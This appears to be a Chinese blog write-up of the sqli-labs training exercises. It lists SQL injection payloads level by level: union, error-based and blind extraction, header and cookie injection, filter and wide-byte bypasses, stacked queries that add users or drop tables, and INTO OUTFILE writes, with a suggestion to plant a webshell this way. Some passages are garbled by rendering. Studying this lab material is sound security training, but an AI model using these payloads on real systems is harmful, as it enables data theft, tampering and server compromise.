sqli-labs学习经验

本文详细介绍了SQL注入的各种类型和应对策略,包括字符型、数字型、宽字节注入、堆叠注入等,涵盖了闭合方式、报错注入、时间盲注等方法。通过实例展示了如何利用注入漏洞获取数据库信息、创建和删除用户及表,以及如何进行报错注入和盲注。同时,讨论了Order by注入和堆叠查询注入的技巧,强调了在实际应用中防止SQL注入的重要性。

Less_1
字符型,单引号闭合
Payload: ?id=-1’ union select 1,user(),version()–+
在这里插入图片描述

Less_2
数字型
Payload: ?id=-1 union select 1,user(),version()–+
在这里插入图片描述

Less_3
‘) 闭合
Payload: ?id=1’) and 1=2 union select 1,user(),version() --+

在这里插入图片描述

Less_4
“) 闭合
Payload: ?id=1") and 1=2 union select 1,version(),user() --+
在这里插入图片描述

Less_5
单引号闭合
页面无回显,但是有报错信息,使用报错注入
Updatexml报错:
Payload: ?id=1’ and updatexml(1,concat(0x7e,(select version()),0x7e),1)–+
在这里插入图片描述

Floor报错
payload: ?id=1’ and(select 1 from(select count(*),concat((select(select(select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
在这里插入图片描述

Less_6
双引号闭合,报错注入
Payload:同less_5

Less_7
提示使用outfile来进行注入,也可使用布尔盲注,时间盲注
经过代码审计:
字符型 ‘)) 闭合
Payload:?id=1’)) union select 1,2,3 into outfile “D:\phpStudy\PHPTutorial\WWW\1.php”%23
成功写入到指定路径。
在这里插入图片描述在这里插入图片描述

Less_8
没有回显,没有报错信息,使用布尔盲注

判断数据库长度
Payload: ?id=1’ and length(database())=8 --+
在这里插入图片描述

Substr:字符串截取函数。Substr(str,start,length).
Ascii(char):将字符串转换成ASCII码。

猜测数据库名的第一位(第二位为database(),2,1)
Payload:?id=1’ and ascii(substr(database(),1,1))=115 --+
在这里插入图片描述

Less_9
无回显,无报错信息,无布尔类型状态,使用时间盲注

If(cond,ture_result,flase_result):cond为判断条件,ture_result为真时返回的结果,false_result为假时返回的结果。

判断闭合类型
Payload: ?id=1’ and sleep(5) --+(为’闭合时延时5s,否则没有)
更改’为”,测试是否为”注入,结果与上面相同。

单引号’闭合
猜测数据库名第一位
Payload: ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),2)–+
猜测版本的第一位是否为s,如果正常则返回sleep(5),使得界面延时5s。反正则不会。

Less_10
双引号闭合
Payload:?id=1” and if(ascii(substr(database(),1,1))=115,sleep(5),2)–+
在这里插入图片描述

Less_11
POST注入
单引号闭合
提交admin ’ 判断页面显示错误为’注入。
当我们提交 username 和 password 后,后台形成的 sql 语句为
@sql="SELECTusername,passwordFROMusersWHEREusername=′username′andpassword=′sql="SELECT username, password FROM users WHERE username='username' and password='sql="SELECTusername,passwordFROMusersWHEREusername=usernameandpassword=passwd’ LIMIT 0,1";

尝试提交username= 任意字符 ’ or 1=1 #
Password=任意
在这里插入图片描述

成功以Dumb用户进入。

判断列数:
Payload:admin’ order by 1 #
得到数据库的版本信息:
Payload: asd’ union select version(),2#
在这里插入图片描述

使用联合查询需要使第一个select语句为错。
其余payload发散想象。

Less_12
“) 闭合
得到用户名
Payload: asd") union select user(),3 #
在这里插入图片描述

Less_13
输入 admin’
在这里插入图片描述

所以为 ’) 闭合

输入 admin’) or 1=1 #
在这里插入图片描述

页面显示登录成功,但是页面没有回显,但是有报错信息

使用报错注入

获得数据库的版本:
Payload: admin’) and updatexml(1,concat(0x7e,(select version()),0x7e),1)#
在这里插入图片描述

使用布尔盲注
猜测数据库名的第一位:
Payload: admin’) and left(database(),1)=‘s’#
在这里插入图片描述

显示登录成功。

Less_14
” 闭合
报错注入

获得用户名:(在harkbar中的post data注入)
Payload:uname=admin" and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&passwd=&submit=Submit
在这里插入图片描述

Less_15
页面没有回显,没有报错,但是有布尔类型状态(正确是页面显示登录成功,错误时返回登录失败)

使用布尔盲注(在harkbar中的post data中输入)
获取数据库的第一位:
Payload:
uname=admin’and 1=If(ascii(substr(database(),1,1))=115,1,2)#&passwd=&submit=Submit
If函数猜测正确时返回1,则admin’ and 1=1,结果正确。错误时返回2,则登录失败
在这里插入图片描述

延时盲注
获取数据库的第一位:
Payload:
uname=admin’and If(ascii(substr(database(),1,1))=115,sleep(5),2)#&passwd=11&submit=Submit
在这里插入图片描述在这里插入图片描述

猜测正确时,页面会延迟5s。错误时则没有此现象。

Less_16
使用 任意用户名+闭合字符+or 1=1# 来猜测闭合字符
例: cy”) or 1=1#
正确时显示登录成功,错误时显示登录失败

”) 闭合
页面无回显,无报错
Payload与less_15类似。

Less_17

正常更改显示
在这里插入图片描述

透过源码可以看到
在这里插入图片描述

代码对username进行了一个check_input的自定义函数过滤。
所以此关的注入需要在密码中执行。

报错注入:
Payload:uname=admin&passwd=11’and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit
在这里插入图片描述

Less_18

(注入前提成功登录)
使用username=admin,password=admin得到如下页面
在这里插入图片描述

猜测可以使用user_agent字段进行注入。(代码审计得知)

使用burp抓包,修改其中的user_agent字段:
Payload:'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’='1
在这里插入图片描述

页面显示报错:
在这里插入图片描述

Updatexml报错:
Payload:’ and updatexml(1,concat(0x7e,(select user()),0x7e),1) and ‘1’='1

在这里插入图片描述

Less_19
正常登录后页面显示为:
在这里插入图片描述

使用referer字段注入

爆破路径:
Payload:'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’='1
在这里插入图片描述

爆破数据库:
Payload:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’='1
在这里插入图片描述

Less_20
正常登录后显示:
在这里插入图片描述

进行代码审计,发现cookie字段存在注入点:从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读取 username,然后进行查询。
在这里插入图片描述

登陆后使用bp抓包,发送到repeater模块,修改cookie字段的值:

联合查询:(测试出列数为3)
爆破数据库版本
Payload: uname=-admin’ union select 1,version(),3–+
在这里插入图片描述

报错注入:
爆破数据库路径
Payload:uname=-admin’ and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1)#
在这里插入图片描述

Less_21
Cookie注入
查看源码发现对uname进行了 (‘uname’) 处理。
使用正常用户登录
在这里插入图片描述

发现cookie为base64编码,使用burp的decoder模块进行解码:
在这里插入图片描述

使用decoder模块加密payload:(修改cookie为paliload)
在这里插入图片描述

爆破数据库名:
Payload:admin’) and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
在这里插入图片描述

联合查询:爆破数据库版本
Payload:-admin’) union select 1,version(),3#
在这里插入图片描述

Less_22
Cookie注入

查看源码发现,源码对cookie进行了 “cookie” 处理:
在这里插入图片描述

本关与less_21相同,只是闭合方式由 ’) 改为 ”

构造payload之后对palyload进行base64编码即可。

爆破基本路径
Payload: admin" and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1)#
在这里插入图片描述

Less_23

查看源代码可知,此处对#;-- ;进行了过滤

此处可以有两种闭合方式:
1.使用payload:?id=-1’ union select 1,2,'3 进行闭合
前一个引号闭合前面的sql语句,后一个引号闭合后面的sql语句。

2.使用 or ‘1’=’1 来闭合后面的引号
联合查询:爆破数据库路径
Payload:?id=-1’ union select 1,@@datadir,'3
在这里插入图片描述

报错注入:爆破数据库版本信息:
Payload: ?id=-1’ and updatexml(1,concat(0x7e,version(),0x7e),1) or ‘1’='1
在这里插入图片描述

Less_24

二次注入

查看源码可以得到,在更新用户密码时,使用了update语句,于是猜测可以使用update语句来注入。
在这里插入图片描述

创建名为 admin’# 的用户。使用admin’#用户登录,修改密码。
在这里插入图片描述

修改密码时:此时的sql语句为:UPDATE users SET PASSWORD=‘KaTeX parse error: Expected 'EOF', got '#' at position 29: …sername='admin’#̲' and password=…curr_pass’

可以看到我们构建的用户名admin’#将username之后的sql语句都注释掉了。此时sql语句就等价为UPDATE users SET PASSWORD=’$pass’ where username=’admin’

因此我们就等于修改了admin用户的密码,达到了我们的目的

通过数据库可以看到我们成功的修改了admin用户的密码为asd。
在这里插入图片描述

再使用admin用户登录,密码为我们修改的admin’#用户的密码。结果显示成功登录:
在这里插入图片描述

Less_25
‘ 单引号闭合
可以使用联合查询

通过源码我们可以看到,这关对 and 和 or 进行了过滤。
如何绕过 or 和 and 过滤,一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=||

此处使用第四种方法:

报错注入:爆破数据库路径:
Payload: ?id=1’ || updatexml(1,concat(0x7e,@@basedir,0x7e),1)–+
在这里插入图片描述

Less_25a
数字型

此关与less_25相似,只是没有错误信息的回显。所以可以使用联合查询,布尔盲注与延时盲注。无法使用报错注入。

联合查询:爆破用户名
Payload: ?id=-1 union select 1,user(),3–+
在这里插入图片描述

布尔盲注
Payload: ?id=-1 || 1=1 --+
在这里插入图片描述

Less_26
‘ 闭合

此关在原有基础上,又对空格进行了过滤
对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

这关在我的系统下以上的绕过均失败。

所以使用()绕过:
Payload: ?id=-1’||updatexml(1,concat(0x7e,version(),0x7e),1)||'1
在这里插入图片描述

Less_26a
‘) 闭合
与26关相似,只是报错信息不再显示
在我的环境下这关同26关相同空格绕过失败。

Less_27
‘ 单引号闭合
本关对union和select进行了过滤,可以使用双写或者大小写的形式进行绕过。
本关可以使用%0b绕过空格。
Payload: ?id=100’uNIOn%0bsELEct%0b1,user(),3||'1
在这里插入图片描述

此关也可以通过双写union绕过,但不能双写select绕过。此外,此处需要使用id=100,而不能使用id=-1。
Payload: ?id=100’ununionion%0bseLect%0b1,user(),3||'1
在这里插入图片描述

less_27a
“ 闭合
报错信息不显示
与27关相似
Payload: ?id=100"uNion%0bselECT%0b1,version(),"3
在这里插入图片描述

TIPs:这里说下以上 payload 我们利用最后的 3 前面的 “ 将后面的 “ 给闭合掉。或者亦可以利 用以前的方法 1,user(),3 || “1
此关也可以使用布尔盲注和时间盲注。

Less_28
‘) 闭合
没有报错信息
本关与27关相似

Less_28a
本关与28关一致,只是少了几个过滤条件。

Less_29,30,31是不同服务器对于参数解析的不同导致的注入问题,我们在这里就不细说。

宽字节注入:
我们在此介绍一下宽字节注入的原理和基本用法。
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:
1、%df 吃掉 \
具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法。

Less_32
‘ 闭合
宽字节注入
通过源码可以看到
在这里插入图片描述

以上函数为过滤 ‘ \ 的函数,它将 ‘ 转为 \’ , 将 \ 转为 \ ,将 “ 转为 \”。因此
此处我们只能考虑 background 中的第一个思路,添加一个%df 后,将%5c 吃掉即可。

爆破基本路径:
Payload: ?id=-1%df’union select 1,@@basedir,3–+
在这里插入图片描述

Less_33
查看源码可知:
在这里插入图片描述

本关使用了addslashses函数进行过滤
addslashes() 函数返回在预定义字符之前添加了反斜杠的字符串。
预定义字符是:
单引号(’)
双引号(")
反斜杠(\)

所以addslashes函数的作用与less_32关函数的过滤作用相同,所以使用第一种绕过方法即可。

爆破操作系统版本:
Payload: ?id=-1%df’ union select 1,@@version_compile_os,3–+
在这里插入图片描述

Less_34
此关为POST类型的注入。
而 get 型的方式我们是以url形式提交的,因此数据会通过 URLencode,POST当中无法使用get型的方法,我们此处介绍一个新的方法。
将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ’

提交 username:� ’ or 1=1#
Password:随便乱填

即可实现万能密码。

Less_35
数字型注入
id没有被’包裹起来,所以无需考虑’闭合问题。

Paylaod: ?id=-1 union select 1,version(),user()–+
在这里插入图片描述

Less_36
查看源码
在这里插入图片描述

代码对id使用了mysql_real_escape_string函数过滤
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
1.\x00
2.\n
3.\r
4.\
5.’
6."
7.\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string()依旧能够被突破。

1)利用’的utf-16来进行突破
Payload: ?id=-1%EF%BF%BD’ union select 1,database(),3–+
‘ 的url编码为%27。
在这里插入图片描述

2)利用%df来进行突破
Payload:?id=-1%df’ union select 1,@@datadir,3–+
在这里插入图片描述

Less_37
与34关相似,区别在于处理 post 内容用的是 mysql_real_escape_string()
函数,而不是 addslashes()函数。使用万能密码,依旧使用 ’的utf-16进行绕过。

Stacked injections:堆叠注入
在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

Less_38
‘ 闭合
堆叠查询

新增用户:
Payload: ?id=1’;insert into users(id,username,password) values(‘20’,‘myname’,‘mypasswd’)–+
查看数据库中的users表可以发现,成功插入我们设定的用户。
在这里插入图片描述

更新用户:
Payload:?id=1’;update users set username=‘hello’ where id=20–+
在这里插入图片描述

删除用户:
Payload:?id=1’;delete from users where id=20–+
在这里插入图片描述

Less_39
数字型闭合
与38关相似

增加用户:
Payload: ?id=1;insert into users(id,username,password) values(‘39’,‘less39’,‘less39’)–+
在这里插入图片描述

其余payload参考38关,也可以自行发散思考。

Less_40
‘) 闭合
与38关相似
Payload:?id=1’);insert into users(id,username,password) values(‘40’,‘less40’,‘less40’)–+
在这里插入图片描述

Less_41
数字型闭合
与39关相似,只是错误没有显示。

Payload: ?id=1;insert into users(id,username,password) values(‘41’,‘less41’,‘less41’)–+
在这里插入图片描述

Less_42
‘ 闭合
通过源码可以看出,代码对username进行了过滤,但是没有对password进行过滤。
在这里插入图片描述

所以可以对password进行注入。

创建一个me表:
Payload: usrname: 随意
Password: 随意’;create table me like users–+
//或者#注释。

查看数据库显示成功注入:
在这里插入图片描述

删除me表:
Payload: c’;drop table me#
数据库显示成功删除:
在这里插入图片描述

Less_43
查看源码:
在这里插入图片描述在这里插入图片描述

此关与less_42关相似,只是对password进行了 ‘) 闭合。

创建less_43表:
Payload: c’);create table less_43 like users#
在这里插入图片描述

Less_44
‘ 闭合
此关与42关相似,只是报错信息不显示。

创建用户:
Payload: username:admin
Password: 1’;insert into users(id,username,password) values (‘44’,‘less44’,‘less44’)#
在这里插入图片描述

其余操作不演示了。

Less_45
‘) 闭合
此关与43关相同,只是报错信息不显示
参考less_43的payload。

Less_46
数字型闭合
Order by 之后的排序:
代码审计:
在这里插入图片描述

从上述的 sql 语句中我们可以看出,我们的注入点在 order by 后面的参数中,而 order by
不同于的我们在 where 后的注入点,不能使用 union 等进行注入。

1.判断是否存在order by之后的注入?
在参数后面加个asc(结果升序显示)、desc(结果降序显示)来观察其顺序是否改变就行了。顺序改变了,所以存在注入。
Payload: ?sort=1 asc
在这里插入图片描述

所以存在注入点。

2.正式注入
因为我们在这里有些信息是不能查到的,显示的信息有限。所以在这里我们需要应用盲注,比如报错注入、延时注入、等等。(由于回显示的信息不能太多所以我们有时候需要运用limit来进行限制)

报错注入:爆破数据库用户。
Payload:?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)) limit 0,1) --+
在这里插入图片描述

爆破数据库版本:
Payload:
1.直接在sort参数中注入: ?sort=(extractvalue(1,concat(0x3a,(select version()),0x3a)))–+
2.使用其他函数如rand(): ?sort=rand(extractvalue(1,concat(0x7e,(select user()),0x7e)))–+
3.或者使用and连接: ?sort=1 and extractvalue(1,concat(0x3a,(select version()),0x3a))–+
结果都相同,如下图:
在这里插入图片描述

procedure analyse 参数后注入
利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。

爆破数据库版本:
Payload: ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)–+
在这里插入图片描述

导入导出文件 into outfile 参数
Payload: ?sort=1 into outfile “c:\test.txt”%23
在这里插入图片描述

那这个时候我们可以考虑上传网马,利用 lines terminated by。
Into outtfile c:\wamp\www\sqllib\test1.txt lines terminated by 0x(网马进行 16 进制转
换)

其余方法大家发挥想象。

Less_47
‘ 闭合
此关与less_46相似,只是闭合方式不同。

爆破数据库版本:
Payload: ?sort=1’ and updatexml(1,concat(0x7e,version(),0x7e),1)–+
在这里插入图片描述

Less_48
此关与46关相同,只是报错信息不再输出。

时间注入:
Payload: ?sort=1 and (If(ascii(substr(database(),1,1))=115,0,sleep(5)))–+
在这里插入图片描述

Less_49
与47关相似,只是没有报错信息

导出文件:
Payload:?sort=1’ into outfile “c:\2.txt”–+
在这里插入图片描述在这里插入图片描述

Less_50
从本关开始我们开始进行 order by stacked injection! (Order by 的堆叠查询。)
执行 sql 语句我们这里使用的是 mysqli_multi_query()函数,而之前我们使用的是 mysqli_query(),区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行一个 sql 语句,那么我们此处就可以执行多个 sql 语句进行注入,也就是我们之前提到的 statcked injection。

数字型闭合
增加用户:
Payload: ?sort=1;insert into users(id,username,password) values(‘50’,‘less50’,‘less50’)–+
在这里插入图片描述

查看数据库发现用户生成:
在这里插入图片描述

Less_51
‘ 闭合
与less_50相似。
创建表:
Payload: ?sort=1’;create table me like users–+
在这里插入图片描述

Less_52
这关与less_50相同,只是报错信息不出现

创建less52表:
Payload: ?sort=1;create table less52 like users–+
在这里插入图片描述

Less_53
此关与less_51关相同,只是报错信息不出现

删除表me:
Payload: ?sort=1’;drop table me–+
在这里插入图片描述

Less_54
‘闭合
测试次数10次;
已知数据库名为challenges

获取表名:
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+
在这里插入图片描述

获取字段名
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘ikqojbz3ku’–+
在这里插入图片描述

获取密码
?id=-1’ union select 1,2,group_concat(secret_1529) from challenges.ikqojbz3ku–+
在这里插入图片描述

Less_55
) 闭合
此关与less_54相同

获取表名:
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+
在这里插入图片描述

获取字段名
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘2b4o96t0f4’–+
在这里插入图片描述

获取密码
?id=-1) union select 1,2,group_concat(secret_O5T0) from challenges.2b4o96t0f4–+
在这里插入图片描述

Less_56
‘) 闭合
此关与less_54,55相同,只是闭合方式不同。
此处给出示例,其余payload参考以上关卡。

获取表名
?id=-1’) union select 2,3,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+
在这里插入图片描述

Less_57
“ 闭合
此关与less54,55,56相同

示例:
获取表名
?id=-1" union select 2,3,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+
在这里插入图片描述

Less_58
‘ 闭合
可以看到执行了SQL语句后,页面没有回显,所以需要使用报错注入

获取表名:
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e),1)–+
//注意group_concat 之前要有select,并且select语句要有括号包裹。

或者另一种payload:
?id=-1’ union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+
在这里插入图片描述

获取字段名
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘pl4k0xv350’),0x7e),1)–+
在这里插入图片描述

获取密码
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(secret_003G) from challenges.pl4k0xv350),0x7e),1)–+
在这里插入图片描述

Less_59
数字型闭合
此关与less_58关相同,只是闭合方式不同,同样使用报错注入。

示例:
获得表名
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+
在这里插入图片描述

Less_60
“ ) 闭合
与less_58,59相同。闭合方式不同

示例:
获取表名
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+
在这里插入图片描述

Less_61
与less58,59,60相同。
此处的闭合为 ‘))
payload参考以上关卡构造。

Less_62
‘) 闭合
可以看到这关联合查询和报错注入都已经失败了,所以使用时间盲注。

获得表名:
?id=1’) and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),1,1))=97,sleep(5),1)–+
当正确时延时5s,错误时则没有延时。

其余payload也是类似。

Less_63
和less_62相同,只是为 ‘ 闭合。
Payload参考上式。
Less_64
与前面关卡相同, 为 )) 闭合。
Less_65
与前面关卡相同,为 “) 闭合。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值